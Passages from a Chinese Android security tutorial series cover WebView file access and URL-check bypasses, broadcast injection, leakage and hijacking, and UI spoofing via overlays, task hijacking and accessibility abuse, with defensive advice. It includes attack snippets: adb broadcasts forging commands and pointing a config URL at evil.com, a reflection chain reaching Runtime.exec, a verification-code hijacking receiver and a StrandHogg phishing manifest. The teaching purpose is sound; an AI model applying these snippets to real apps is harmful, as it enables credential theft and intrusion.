3. 把 HTML 文件放到外部存储(/sdcard/),然后通过任意 URL 加载漏洞让 WebView 加载 `file:///sdcard/evil.html`
### 5.4 演示
演示 App 的 VulnFileActivity 开启了 `setAllowFileAccessFromFileURLs(true)``setJavaScriptEnabled(true)`,并且接受 Intent 传入的 URL。
先在设备上创建一个测试 HTML 文件,然后让 WebView 加载它:
```bash
adb shell "run-as com.demo.webviewsecurity sh -c \
'echo \"<html><body><h3>file:// loaded</h3><script>document.write(location.href)</script></body></html>\" \
> /data/data/com.demo.webviewsecurity/files/test.html'"
adb shell am start -n com.demo.webviewsecurity/.VulnFileActivity \
--es url "file:///data/data/com.demo.webviewsecurity/files/test.html"
```
WebView 加载了本地文件:
![demo5_file_access.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2026/03/attach-8ac4ebf2ba61810c758096533dbb41f9ac0ef3f1.png)
`setAllowFileAccessFromFileURLs(true)` 的配置下,页面中的 JavaScript 可以通过 XMLHttpRequest 读取同一 App 沙箱内的其他文件。
* * *
## 6\. shouldOverrideUrlLoading 绕过
### 6.1 首次加载不触发
`shouldOverrideUrlLoading()` 只在页面内的链接跳转时触发,不会在 `loadUrl()` 直接加载时触发。如果攻击者能控制 `loadUrl()` 的参数,白名单检查根本不会执行:
```java
@Override
public boolean shouldOverrideUrlLoading(WebView view, WebResourceRequest request) {
String url = request.getUrl().toString();
if (!isWhitelisted(url)) {
return true;
}
return false;
}
String url = getIntent().getStringExtra("url");
webView.loadUrl(url);
```
### 6.2 重定向和 JavaScript 跳转
HTTP 302 重定向在某些 Android 版本上不会触发 `shouldOverrideUrlLoading()`。攻击者可以先让 WebView 加载一个白名单内的 URL,该 URL 返回 302 重定向到恶意页面。
通过 JavaScript 的 `window.location` 跳转在某些情况下也不会触发拦截:
```javascript
window.location = "https://evil.com";
window.location.replace("https://evil.com");
```
### 6.3 自定义协议处理
很多 App 在 `shouldOverrideUrlLoading()` 中处理自定义协议(如 `myapp://``jsbridge://`)。如果处理逻辑不安全,攻击者可以通过构造特殊 URL 触发敏感操作:
```java
@Override
public boolean shouldOverrideUrlLoading(WebView view, WebResourceRequest request) {
String url = request.getUrl().toString();
if (url.startsWith("jsbridge://")) {
String[] parts = url.replace("jsbridge://", "").split("/");
String method = parts[0];
if ("getToken".equals(method)) {
String token = getAuthToken();
view.evaluateJavascript("callback('" + token + "')", null);
} else if ("writeFile".equals(method)) {
writeFile(parts[1], parts[2]);
}
return true;
}
return false;
}
```
这种基于 URL 的 JS Bridge 和 `addJavascriptInterface` 的风险类似,但更隐蔽——不需要注册 JavaScript 接口,只需要在 WebView 中加载一个包含 `<iframe src="jsbridge://getToken">` 的页面就能触发。
* * *
## 7\. SSL 错误处理
当 WebView 加载 HTTPS 页面遇到证书错误时(过期、域名不匹配、自签名等),会回调 `onReceivedSslError()`。正确的做法是取消加载:
```java
@Override
public void onReceivedSslError(WebView view, SslErrorHandler handler, SslError error) {
handler.cancel();
}
```
但有些开发者直接调用 `handler.proceed()` 忽略证书错误:
```java
@Override
public void onReceivedSslError(WebView view, SslErrorHandler handler, SslError error) {
handler.proceed();
}
```
这等于禁用了 HTTPS 的证书验证,中间人攻击(MITMMan-In-The-Middle,攻击者在通信双方之间截获和篡改数据)可以拦截和篡改 WebView 加载的所有 HTTPS 内容。
Google Play 会检测并拒绝包含 `handler.proceed()` 的应用上架,但国内应用市场和系统预装 App 不受此限制。
* * *
## 8\. 版本演进
### 8.1 Android 4.2API 17):@JavascriptInterface 注解
Android 4.2 之前,`addJavascriptInterface()` 注册的对象的所有 public 方法都暴露给 JavaScript,包括从 Object 继承的 `getClass()` 方法。攻击者可以通过反射链执行任意命令:
```javascript
var obj = window.injectedObj;
var runtime = obj.getClass().forName("java.lang.Runtime");
var exec = runtime.getMethod("exec", obj.getClass().forName("java.lang.String"));
var process = exec.invoke(runtime.getMethod("getRuntime").invoke(null), "id");
```
Android 4.2 引入 `@JavascriptInterface` 注解后,只有标记了该注解的方法才会暴露。
### 8.2 Android 5.0API 21):独立 WebView 进程
从 Android 5.0 开始,WebView 的渲染引擎从 App 进程中分离,运行在独立的沙箱进程中。即使渲染引擎存在内存破坏漏洞,攻击者也需要额外的沙箱逃逸才能影响 App 进程。
但 JS Bridge 的调用仍然在 App 进程中执行,`addJavascriptInterface` 暴露的方法不受进程隔离的保护。
### 8.3 Android 7.0API 24):WebView 独立更新
Android 7.0 开始,WebView 组件通过 Google Play 独立更新,不依赖系统 OTA。但国内设备通常没有 Google Play,WebView 更新依赖厂商的系统更新。
### 8.4 Android 9.0API 28):默认禁用明文 HTTP
Android 9.0 引入了 Network Security Config(网络安全配置),默认禁止明文 HTTP 流量。WebView 加载 `http://` URL 会被阻止,除非 App 在配置中显式允许:
```xml
<network-security-config>
<base-config cleartextTrafficPermitted="true" />
</network-security-config>
```
### 8.5 Android 11API 30):file:// 访问默认关闭
Android 11 开始,`setAllowFileAccess()` 的默认值从 true 改为 false。WebView 默认不再能加载 file:// URL。但如果开发者显式设置 `setAllowFileAccess(true)`,风险依然存在。
* * *
## 9\. 总结
WebView 把 Web 的攻击面引入了 Android App。
回顾一下:
- 任意 URL 加载是基础漏洞,攻击者控制了 WebView 加载的内容,后续的 JS Bridge 调用、文件读取都建立在这个前提上
- addJavascriptInterface 暴露的方法决定了攻击者能做什么,getToken、writeFile 这类方法暴露后可以被任意页面调用
- file:// 协议配合 setAllowFileAccessFromFileURLs 可以读取 App 沙箱内的文件,Android 11+ 默认关闭了 file:// 访问
- shouldOverrideUrlLoading 的拦截逻辑有多种绕过方式,loadUrl 直接加载时不触发
- onReceivedSslError 中调用 handler.proceed() 等于禁用了 HTTPS 证书验证
下一章讲 Android UI 欺骗与钓鱼。WebView 可以加载攻击者的页面,而 UI 欺骗利用 Android 的窗口机制,在受害 App 上方覆盖伪造的界面,诱导用户输入密码或点击授权。
通过网盘分享的文件:webviwe.apk
链接: [https://pan.baidu.com/s/1QetwOe2HzSDHCp6K51PbpQ?pwd=bnv4](https://pan.baidu.com/s/1QetwOe2HzSDHCp6K51PbpQ?pwd=bnv4) 提取码: bnv4
@@ -0,0 +1,393 @@
# Android移动安全第八章_广播安全
> QIANXIN Team
> 来源:https://forum.butian.net/share/4875
> 系列目录:
>
> 1. Android 组件导出安全
> 2. Android Intent 安全
> 3. Android Binder 服务安全
> 4. Android ContentProvider 安全
> 5. Android WebView 安全
> 6. Android UI 欺骗与钓鱼
> 7. Android Deep Link 安全
> 8. Android 广播安全(本章)
> 9. Android PendingIntent 安全
> 10. Android 系统设置安全
> 11. Android SSRF 与网络安全
> 12. Android 加密与数据存储安全
> 13. Android 认证与证书校验
> 14. Android Zip Slip 路径遍历
> 15. Android Fragment Injection
> 16. Android SELinux 与沙箱机制
* * *
## 1\. 前言
Android 的广播(Broadcast)是一种一对多的消息机制。一个组件发出一条广播,所有注册了匹配条件的 BroadcastReceiver(广播接收器)都会收到。系统用它来通知各种事件——开机完成、网络变化、电量低、App 安装/卸载等。App 之间也可以用自定义广播来通信。
广播的安全问题可以从两个方向看:
- 发送方向:App 发出的广播被谁收到了?如果广播中携带了敏感数据(token、验证码),被攻击者的 Receiver 截获就是信息泄露
- 接收方向:Receiver 收到的广播来自谁?如果 Receiver 不校验广播来源,攻击者可以伪造广播触发敏感逻辑
第一章用 ADB 演示过向导出的 Receiver 发送伪造广播,那是接收方向的问题。本章把两个方向都展开讲。
* * *
## 2\. 广播基础
### 2.1 注册方式
BroadcastReceiver 有两种注册方式:
静态注册——在 Manifest 中声明,App 安装后就生效,即使 App 没有运行也能收到广播(Android 8.0 之后有限制,后面会讲):
```xml
<receiver
android:name=".BootReceiver"
android:exported="true">
<intent-filter>
<action android:name="android.intent.action.BOOT_COMPLETED" />
</intent-filter>
</receiver>
```
动态注册——在代码中注册,只在 App 运行期间有效:
```java
IntentFilter filter = new IntentFilter("com.example.ACTION_UPDATE");
registerReceiver(myReceiver, filter);
```
从安全角度看,静态注册的 Receiver 更容易被发现(直接在 Manifest 中可见),动态注册的 Receiver 需要通过代码分析才能找到。
### 2.2 广播类型
Android 有三种广播分发方式:
| 类型 | 方法 | 特点 |
| --- | --- | --- |
| 普通广播 | sendBroadcast() | 所有匹配的 Receiver 同时收到,无序 |
| 有序广播 | sendOrderedBroadcast() | 按优先级依次分发,高优先级先收到,可以修改或终止广播 |
| Sticky 广播 | sendStickyBroadcast() | 广播发出后会"粘"在系统中,后续注册的 Receiver 也能收到(已废弃) |
普通广播是最常用的,有序广播用于需要按顺序处理的场景(比如短信接收),Sticky 广播在 Android 5.0 后被标记为废弃但仍然可用。
### 2.3 权限控制
发送和接收广播都可以附加权限要求:
```java
sendBroadcast(intent, "com.example.permission.RECEIVE_DATA");
registerReceiver(receiver, filter, "com.example.permission.SEND_DATA", null);
```
Manifest 中静态注册也可以指定权限:
```xml
<receiver
android:name=".SecureReceiver"
android:exported="true"
android:permission="com.example.permission.TRUSTED_SENDER">
<intent-filter>
<action android:name="com.example.ACTION_SECURE" />
</intent-filter>
</receiver>
```
这样只有持有 `com.example.permission.TRUSTED_SENDER` 权限的 App 发出的广播才会被 SecureReceiver 接收。但和第一章讲的一样,如果这个权限的 protectionLevel 是 normal,任何 App 声明 `<uses-permission>` 就能获得,保护力度有限。
* * *
## 3\. 广播注入
### 3.1 原理
如果一个导出的 BroadcastReceiver 没有设置权限保护,任何 App 都可以向它发送广播。Receiver 内部如果不校验广播来源就直接处理数据,攻击者就能注入恶意数据触发敏感逻辑。
```java
public class CommandReceiver extends BroadcastReceiver {
@Override
public void onReceive(Context context, Intent intent) {
String command = intent.getStringExtra("command");
if ("clear_cache".equals(command)) {
clearAppCache(context);
} else if ("reset_token".equals(command)) {
resetAuthToken(context);
} else if ("update_config".equals(command)) {
String configUrl = intent.getStringExtra("config_url");
downloadConfig(configUrl);
}
}
}
```
攻击者通过 ADB 或恶意 App 发送伪造广播:
```bash
adb shell am broadcast -a com.example.ACTION_COMMAND \
--es command "reset_token"
```
或者:
```bash
adb shell am broadcast -a com.example.ACTION_COMMAND \
--es command "update_config" \
--es config_url "https://evil.com/malicious_config.json"
```
### 3.2 常见的危险模式
| 模式 | 说明 | 危害 |
| --- | --- | --- |
| 命令执行 | Receiver 根据广播参数执行不同操作 | 触发敏感功能 |
| URL 加载 | Receiver 从广播中取 URL 传给 WebView 或下载器 | 加载恶意内容 |
| 数据写入 | Receiver 把广播中的数据写入数据库或文件 | 数据污染 |
| 状态修改 | Receiver 根据广播修改 App 内部状态(登录状态、配置项) | 逻辑绕过 |
### 3.3 系统广播伪造
有些 App 会监听系统广播(如 `BOOT_COMPLETED``CONNECTIVITY_CHANGE`)来触发特定逻辑。攻击者可以伪造这些系统广播:
```bash
adb shell am broadcast -a android.intent.action.BOOT_COMPLETED \
-n com.target.app/.BootReceiver
```
但从 Android 8.0 开始,很多系统广播被限制为只能由系统发送(protected broadcast)。第三方 App 发送 protected broadcast 会被系统拒绝。不过这个限制只针对 `sendBroadcast()`,通过 ADB 的 `am broadcast` 仍然可以发送。
* * *
## 4\. 广播泄露
### 4.1 隐式广播泄露
第二章讲过隐式 Intent 的泄露问题,广播也一样。如果 App 使用隐式广播(不指定接收者包名)发送敏感数据,任何注册了匹配 action 的 App 都能收到:
```java
Intent intent = new Intent("com.example.ACTION_TOKEN_UPDATE");
intent.putExtra("new_token", "eyJhbGciOiJIUzI1NiJ9...");
sendBroadcast(intent);
```
攻击者只需注册一个匹配的 Receiver:
```xml
<receiver android:name=".TokenStealer" android:exported="true">
<intent-filter>
<action android:name="com.example.ACTION_TOKEN_UPDATE" />
</intent-filter>
</receiver>
```
安全的做法是使用显式广播(指定接收者包名)或 LocalBroadcastManager(后面会讲):
```java
Intent intent = new Intent("com.example.ACTION_TOKEN_UPDATE");
intent.setPackage("com.example.app");
intent.putExtra("new_token", "eyJhbGciOiJIUzI1NiJ9...");
sendBroadcast(intent);
```
### 4.2 有序广播劫持
有序广播(Ordered Broadcast)按 Receiver 的优先级(priority)从高到低依次分发。高优先级的 Receiver 可以:
- 读取广播中的数据
- 修改广播数据(通过 `setResultData()` / `setResultExtras()`
- 终止广播传递(通过 `abortBroadcast()`),后续低优先级的 Receiver 收不到
```java
Intent intent = new Intent("com.example.ACTION_VERIFY");
intent.putExtra("verification_code", "123456");
sendOrderedBroadcast(intent, null);
```
攻击者注册一个高优先级的 Receiver:
```xml
<receiver android:name=".Hijacker" android:exported="true">
<intent-filter android:priority="999">
<action android:name="com.example.ACTION_VERIFY" />
</intent-filter>
</receiver>
```
```java
public class Hijacker extends BroadcastReceiver {
@Override
public void onReceive(Context context, Intent intent) {
String code = intent.getStringExtra("verification_code");
Log.d("Hijacker", "Intercepted code: " + code);
abortBroadcast();
}
}
```
priority 的有效范围是 -1000 到 1000。攻击者设置 999 就能抢在大多数合法 Receiver 之前处理广播。
这个攻击在早期 Android 版本上被用于拦截短信验证码——系统通过有序广播分发收到的短信,恶意 App 注册高优先级 Receiver 就能先于短信 App 收到短信内容,然后 abortBroadcast 让用户看不到这条短信。Android 4.4 之后,短信广播的分发机制做了调整,默认短信 App 总是能收到,但其他 App 仍然可以监听。
### 4.3 resultData 泄露
有序广播的 Receiver 可以通过 `setResultData()` 设置返回数据,后续 Receiver 通过 `getResultData()` 读取。如果某个 Receiver 把敏感数据放到 resultData 中,后续所有 Receiver 都能读到:
```java
@Override
public void onReceive(Context context, Intent intent) {
String token = generateToken();
setResultData(token);
}
@Override
public void onReceive(Context context, Intent intent) {
String token = getResultData();
Log.d("Attacker", "Got token: " + token);
}
```
* * *
## 5\. Sticky 广播
### 5.1 原理
Sticky 广播(粘性广播)通过 `sendStickyBroadcast()` 发送。和普通广播不同的是,Sticky 广播发出后会"粘"在系统中——即使发送时没有匹配的 Receiver,后续注册的 Receiver 也能收到最后一次发送的 Sticky 广播。
```java
Intent intent = new Intent("com.example.ACTION_STATUS");
intent.putExtra("status", "authenticated");
intent.putExtra("session_id", "sess_abc123");
sendStickyBroadcast(intent);
```
```java
IntentFilter filter = new IntentFilter("com.example.ACTION_STATUS");
Intent stickyIntent = registerReceiver(null, filter);
String sessionId = stickyIntent.getStringExtra("session_id");
```
### 5.2 安全问题
Sticky 广播有两个安全问题:
1. 数据残留:Sticky 广播的数据一直保留在系统中,直到被 `removeStickyBroadcast()` 显式移除或设备重启。任何 App 在任何时候都可以通过 `registerReceiver(null, filter)` 读取残留的数据
2. 数据覆盖:任何持有 `BROADCAST_STICKY` 权限的 App 都可以发送同一 action 的 Sticky 广播,覆盖之前的数据。`BROADCAST_STICKY` 是 normal 级别权限,声明即可获得
```java
Intent intent = new Intent("com.example.ACTION_STATUS");
intent.putExtra("status", "authenticated");
intent.putExtra("session_id", "attacker_session");
sendStickyBroadcast(intent);
```
如果受害 App 依赖 Sticky 广播中的 session\_id 来做身份验证,攻击者就能注入自己的 session。
### 5.3 废弃状态
`sendStickyBroadcast()` 在 Android 5.0API 21)被标记为 `@Deprecated`(废弃),但没有被移除,仍然可以调用。Google 建议使用其他机制(如 SharedPreferences、LiveData、ContentProvider)替代。
实际中仍然有 App 在使用 Sticky 广播,尤其是一些老旧的系统组件和第三方 SDK。
* * *
## 6\. LocalBroadcastManager
### 6.1 原理
LocalBroadcastManager 是 AndroidX 库提供的一个工具类,用于在 App 内部发送和接收广播。它和系统广播的区别是:广播只在 App 进程内传递,不经过系统的广播分发机制,其他 App 无法收到也无法发送。
```java
LocalBroadcastManager lbm = LocalBroadcastManager.getInstance(context);
Intent intent = new Intent("com.example.ACTION_INTERNAL");
intent.putExtra("token", "sensitive_data");
lbm.sendBroadcast(intent);
lbm.registerReceiver(receiver, new IntentFilter("com.example.ACTION_INTERNAL"));
```
### 6.2 安全特性
LocalBroadcastManager 从设计上消除了广播的两个安全问题:
- 不会泄露:广播不离开 App 进程,外部 App 无法监听
- 不会被注入:外部 App 无法向 LocalBroadcastManager 发送广播
但 LocalBroadcastManager 在 AndroidX 1.1.0 中被标记为废弃,Google 建议使用 LiveData 或 Kotlin Flow 等响应式方案替代。废弃的原因不是安全问题,而是架构设计上 Google 更推荐观察者模式。
* * *
## 7\. 版本演进
### 7.1 Android 7.0API 24):限制 CONNECTIVITY\_CHANGE
Android 7.0 开始,静态注册的 Receiver 不再能接收 `CONNECTIVITY_ACTION`(网络状态变化)广播。这是 Google 限制隐式广播的第一步——很多 App 注册了这个广播来监听网络变化,导致每次网络切换时大量 App 被唤醒,影响性能和电量。
### 7.2 Android 8.0API 26):隐式广播限制
Android 8.0 做了一个比较大的改动:targetSdk >= 26 的 App,静态注册的 Receiver 不再能接收大多数隐式广播。只有少数豁免的广播(如 `BOOT_COMPLETED``LOCALE_CHANGED`)仍然可以通过静态注册接收。
这意味着攻击者的 App 如果 targetSdk >= 26,不能通过静态注册 Receiver 来监听目标 App 的自定义隐式广播。但动态注册不受此限制——只要攻击者的 App 在运行,动态注册的 Receiver 仍然可以接收隐式广播。
```java
IntentFilter filter = new IntentFilter("com.target.app.ACTION_TOKEN");
registerReceiver(receiver, filter);
```
### 7.3 Android 9.0API 28):NETWORK\_STATE\_CHANGED 限制
Android 9.0 限制了 Wi-Fi 相关广播中携带的信息。`NETWORK_STATE_CHANGED_ACTION` 广播不再包含 SSID(Wi-Fi 网络名称)和 BSSID(接入点 MAC 地址),需要通过 `WifiManager` API 并持有位置权限才能获取。
### 7.4 Android 13API 33):动态注册 Receiver 需要声明导出
Android 13 引入了一个新的要求:动态注册 BroadcastReceiver 时必须指定是否接收外部 App 的广播:
```java
registerReceiver(receiver, filter, Context.RECEIVER_EXPORTED);
registerReceiver(receiver, filter, Context.RECEIVER_NOT_EXPORTED);
```
如果不指定,targetSdk >= 33 的 App 会抛出异常。这个改动和 Android 12 对静态组件要求显式声明 exported 类似,目的是让开发者明确意识到 Receiver 是否对外暴露。
### 7.5 Android 14API 34):Protected Broadcast 加强
Android 14 扩大了 protected broadcast 的范围,更多系统广播被标记为只能由系统发送。第三方 App 尝试发送 protected broadcast 时会被系统静默丢弃(不抛异常,但广播不会被分发)。
* * *
## 8\. 总结
广播的安全问题围绕"谁发的"和"谁收到了"两个方向展开。
回顾一下:
- 广播注入:导出的 Receiver 没有权限保护时,攻击者可以发送伪造广播触发敏感逻辑
- 隐式广播泄露:不指定接收者包名的广播可以被任何 App 监听,携带敏感数据时就是信息泄露
- 有序广播劫持:高优先级的 Receiver 可以读取、修改、终止广播,早期被用于拦截短信验证码
- Sticky 广播的数据残留在系统中,任何 App 随时可以读取,且可以被覆盖
- Android 8.0 限制了静态注册接收隐式广播,Android 13 要求动态注册时声明是否导出
下一章讲 Android PendingIntent 安全。PendingIntent 是一种延迟执行的 Intent 包装,它允许其他 App 或系统在未来某个时刻代替你执行操作——这个"代替"机制如果处理不当,就是权限提升的入口。
@@ -0,0 +1,327 @@
# Android移动安全第六章_UI欺骗与钓鱼
> QIANXIN Team
> 来源:https://forum.butian.net/share/4841
> 系列目录:
>
> 1. Android 组件导出安全
> 2. Android Intent 安全
> 3. Android Binder 服务安全
> 4. Android ContentProvider 安全
> 5. Android WebView 安全
> 6. Android UI 欺骗与钓鱼(本章)
> 7. Android Deep Link 安全
> 8. Android 广播安全
> 9. Android PendingIntent 安全
> 10. Android 系统设置安全
> 11. Android SSRF 与网络安全
> 12. Android 加密与数据存储安全
> 13. Android 认证与证书校验
> 14. Android Zip Slip 路径遍历
> 15. Android Fragment Injection
> 16. Android SELinux 与沙箱机制
* * *
## 1\. 前言
前几章讲的漏洞大多是"程序对程序"的——攻击者的 App 通过 Intent、ContentProvider、Binder 等机制与目标 App 交互,整个过程用户可能完全无感知。这一章不同,攻击目标是用户本人。
UI 欺骗的思路是:在用户面前显示一个伪造的界面,让用户以为自己在和合法 App 交互,实际上输入的密码、点击的按钮都被攻击者截获了。Android 上实现这个目标有几种方式:
- 利用导出组件注入 UI 内容(第一章演示过)
- 通过悬浮窗(Overlay)在其他 App 上方覆盖界面
- 利用任务栈(Task)机制把攻击者的 Activity 插入到目标 App 的任务中
- 通过 Toast 或自定义通知伪造系统提示
本章逐一展开。
* * *
## 2\. 导出组件的 UI 注入
第一章演示过,如果一个导出的 Activity 从 Intent extras 中读取字符串直接显示到 UI 上,攻击者可以注入任意内容。这里补充一些细节。
### 2.1 AlertDialog 注入
很多 App 用 AlertDialogAndroid 提供的标准弹窗组件)显示提示信息。如果弹窗的标题和内容来自 Intent extras
```java
public class NotifyActivity extends Activity {
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
String title = getIntent().getStringExtra("title");
String message = getIntent().getStringExtra("message");
new AlertDialog.Builder(this)
.setTitle(title != null ? title : "通知")
.setMessage(message != null ? message : "暂无内容")
.setPositiveButton("确定", (d, w) -> finish())
.show();
}
}
```
攻击者可以伪造任何内容的弹窗。由于 AlertDialog 的样式和系统弹窗一致,用户很难区分这是 App 自身的提示还是外部注入的。
### 2.2 WebView 页面注入
第五章讲过,如果导出的 Activity 把 Intent 中的 URL 传给 WebView 加载,攻击者可以加载一个精心制作的钓鱼页面。这个页面运行在目标 App 的 WebView 中,地址栏不可见(WebView 默认不显示 URL),用户看到的就是目标 App 内嵌了一个"登录页面"。
这两种方式的前提都是目标 App 存在导出组件且接受外部输入,属于被动利用。下面讲的悬浮窗和任务栈劫持则是攻击者主动发起的。
* * *
## 3\. 悬浮窗覆盖(Overlay Attack
### 3.1 原理
Android 允许 App 在其他应用上方显示内容,这个能力叫做"悬浮窗"或"Overlay"。常见的使用场景包括:聊天气泡、屏幕录制工具的控制按钮、来电显示等。
要使用悬浮窗,App 需要 `SYSTEM_ALERT_WINDOW` 权限。这个权限的获取方式随 Android 版本变化:
| Android 版本 | 获取方式 |
| --- | --- |
| < 6.0API 23 | Manifest 声明即可,安装时自动授予 |
| 6.0 - 7.x | 需要用户手动在设置中开启"显示在其他应用上层" |
| 8.0+API 26 | 同上,但新增了 TYPE_APPLICATION_OVERLAY 窗口类型 |
| 10+(API 29) | 同上,但系统会在状态栏显示"正在其他应用上层显示"的通知 |
| 12+(API 31) | 同上,限制更严格,某些场景下系统会自动隐藏 Overlay |
获得权限后,App 通过 WindowManagerAndroid 的窗口管理服务)添加一个 View,设置合适的窗口类型和标志位,就能在其他 App 上方显示内容:
```java
WindowManager wm = (WindowManager) getSystemService(WINDOW_SERVICE);
WindowManager.LayoutParams params = new WindowManager.LayoutParams(
WindowManager.LayoutParams.MATCH_PARENT,
WindowManager.LayoutParams.MATCH_PARENT,
WindowManager.LayoutParams.TYPE_APPLICATION_OVERLAY,
WindowManager.LayoutParams.FLAG_NOT_FOCUSABLE,
PixelFormat.TRANSLUCENT
);
wm.addView(overlayView, params);
```
### 3.2 攻击方式
#### 全屏覆盖
攻击者在目标 App 上方覆盖一个全屏的伪造界面。比如当用户打开银行 App 时,攻击者的 Overlay 显示一个一模一样的登录页面,用户输入的账号密码被攻击者截获。
这种方式需要攻击者知道用户当前在使用哪个 App。可以通过 `UsageStatsManager`(使用情况统计服务)或辅助功能(AccessibilityService)获取前台 App 信息。
#### 部分覆盖
只覆盖屏幕的一部分,比如在权限请求弹窗的"允许"按钮上方覆盖一个看起来无害的按钮(如"关闭广告")。用户以为自己在关闭广告,实际上点击穿透到了下方的"允许"按钮,授予了攻击者请求的权限。
这种技术叫做 Tapjacking(点击劫持)。Android 提供了 `filterTouchesWhenObscured` 属性来防御——设置为 true 后,当 View 被其他窗口遮挡时会忽略触摸事件:
```xml
<Button
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:filterTouchesWhenObscured="true" />
```
但这个属性需要开发者主动设置,很多 App 没有使用。
#### 透明覆盖
Overlay 可以设置为完全透明(`PixelFormat.TRANSLUCENT` + 透明背景),用户完全看不到它的存在。透明 Overlay 可以拦截触摸事件,记录用户的点击位置和滑动轨迹,用于推断用户输入的 PIN 码或手势密码。
### 3.3 演示
演示 Appcom.demo.uispoof)的 OverlayDemoActivity 展示了悬浮窗覆盖的效果。启动后会请求 `SYSTEM_ALERT_WINDOW` 权限,授权后显示一个模拟的"系统安全验证"悬浮窗,覆盖在当前界面上方:
```bash
adb shell am start -n com.demo.uispoof/.OverlayDemoActivity
```
悬浮窗显示一个伪造的"系统安全验证"界面:
![demo6_overlay_active.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2026/03/attach-f14bedd42ce3a677092460148ba1593a7fea377e.png)
用户输入的内容会被记录到 logcat:
```bash
adb logcat -s OverlayDemo
```
* * *
## 4\. 任务栈劫持(Task Hijacking
### 4.1 Android 任务栈机制
Android 用"任务栈"Task)来组织 Activity。一个任务栈是一组 Activity 的堆叠,用户按返回键时从栈顶依次弹出。每个任务栈有一个 taskAffinity(任务亲和性),决定 Activity 属于哪个任务。
默认情况下,一个 App 的所有 Activity 共享同一个 taskAffinity(值为包名)。但开发者可以在 Manifest 中为 Activity 指定不同的 taskAffinity
```xml
<activity
android:name=".PaymentActivity"
android:taskAffinity="com.bank.app" />
```
### 4.2 StrandHogg 攻击
StrandHogg 是 2019 年公开的一种任务栈劫持攻击。攻击者的 Activity 设置与目标 App 相同的 taskAffinity,配合 `allowTaskReparenting``FLAG_ACTIVITY_NEW_TASK`,可以把自己的 Activity 插入到目标 App 的任务栈中。
```xml
<activity
android:name=".PhishingLoginActivity"
android:taskAffinity="com.bank.app"
android:allowTaskReparenting="true"
android:exported="true" />
```
攻击流程:
1. 用户打开攻击者的 App(可能是一个看起来正常的工具类应用)
2. 攻击者的 PhishingLoginActivity 启动后,因为 taskAffinity 设置为 `com.bank.app`,系统把它放入银行 App 的任务栈
3. 用户切换到银行 App 时,看到的是攻击者的钓鱼登录页面(因为它在栈顶)
4. 用户输入账号密码,被攻击者截获
### 4.3 StrandHogg 2.0
2020 年公开的 StrandHogg 2.0CVE-2020-0096)更进一步,不需要设置 taskAffinity,而是利用 `startActivities()` 方法的行为:攻击者可以在启动目标 App 的 Activity 之前,先把自己的 Activity 压入栈中。
这个漏洞在 Android 9 及以下版本有效,Android 10 修复了。
### 4.4 演示
演示 App 的 TaskHijackActivity 设置了与自身不同的 taskAffinity 来模拟任务栈劫持。启动后会显示一个伪造的登录页面,模拟用户切换 App 时看到钓鱼界面的场景:
```bash
adb shell am start -n com.demo.uispoof/.TaskHijackActivity
```
伪造的银行登录页面:
![demo6_task_hijack.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2026/03/attach-589b79f688e2f969cf073f11fa1d2f7ba1cdb8c1.png)
* * *
## 5\. Toast 与通知伪造
### 5.1 Toast 伪造
Toast 是 Android 的轻量级提示组件,显示在屏幕底部,几秒后自动消失。在 Android 11 之前,App 可以自定义 Toast 的布局,显示任意内容:
```java
Toast toast = new Toast(context);
toast.setView(customView);
toast.setDuration(Toast.LENGTH_LONG);
toast.setGravity(Gravity.CENTER, 0, 0);
toast.show();
```
攻击者可以用自定义 Toast 模拟系统提示,比如"您的设备已被感染,请立即安装安全补丁",引导用户下载恶意 App。
Android 11API 30)开始,系统禁止了自定义 Toast 布局(`setView()` 被废弃),只允许使用标准的文本 Toast。这个改动基本消除了 Toast 伪造的风险。
### 5.2 通知伪造
通知(Notification)也可以用于 UI 欺骗。攻击者可以发送一条看起来像系统通知的消息,比如模拟"系统更新"或"安全警告",点击后跳转到钓鱼页面。
通知的图标、标题、内容都由 App 自行设置,用户很难区分是系统发的还是第三方 App 发的。Android 8.0 引入了通知渠道(Notification Channel),用户可以针对每个 App 的每个渠道单独控制通知行为,但这需要用户主动去设置。
* * *
## 6\. 辅助功能滥用(AccessibilityService
### 6.1 原理
AccessibilityService(辅助功能服务)是 Android 为残障用户设计的,允许 App 监听和操作其他 App 的 UI 事件——读取屏幕内容、模拟点击、监听输入等。
要使用辅助功能,App 需要在 Manifest 中声明服务,用户需要在系统设置中手动开启:
```xml
<service
android:name=".MyAccessibilityService"
android:permission="android.permission.BIND_ACCESSIBILITY_SERVICE">
<intent-filter>
<action android:name="android.accessibilityservice.AccessibilityService" />
</intent-filter>
<meta-data
android:name="android.accessibilityservice"
android:resource="@xml/accessibility_config" />
</service>
```
一旦用户授权,辅助功能服务可以:
- 读取任何 App 的屏幕内容(包括输入框中的文字)
- 监听所有 UI 事件(点击、滚动、文字变化)
- 模拟用户操作(点击按钮、输入文字、滑动)
- 截取屏幕内容
### 6.2 攻击场景
辅助功能被恶意利用的场景:
| 场景 | 方式 | 危害 |
| --- | --- | --- |
| 键盘记录 | 监听 TYPE_VIEW_TEXT_CHANGED 事件 | 窃取密码、短信验证码 |
| 自动授权 | 检测到权限弹窗后模拟点击"允许" | 静默获取敏感权限 |
| 自动安装 | 在安装确认页面模拟点击"安装" | 静默安装恶意 App |
| 屏幕内容窃取 | 遍历 AccessibilityNodeInfo 树 | 读取任意 App 的显示内容 |
辅助功能的授权门槛比较高(需要用户手动在设置中开启),但恶意 App 通常会通过社会工程引导用户开启——比如伪装成"性能优化工具"或"电池管理器",声称需要辅助功能权限才能正常工作。
### 6.3 Android 版本限制
| 版本 | 限制 |
| --- | --- |
| Android 8.0 | 辅助功能服务不能再获取指纹认证事件 |
| Android 10 | 限制辅助功能服务访问输入法窗口 |
| Android 11 | 辅助功能服务声明必须更具体(指定监听的事件类型和包名) |
| Android 13 | 侧载的 App 无法直接开启辅助功能,需要额外步骤 |
* * *
## 7\. 版本演进
### 7.1 Android 6.0API 23):SYSTEM\_ALERT\_WINDOW 需要手动授权
Android 6.0 之前,`SYSTEM_ALERT_WINDOW` 在 Manifest 中声明就自动授予。6.0 开始需要用户手动在设置中开启"显示在其他应用上层"。但通过 Google Play 安装的 App 在某些版本上会自动获得此权限。
### 7.2 Android 10API 29):Overlay 通知
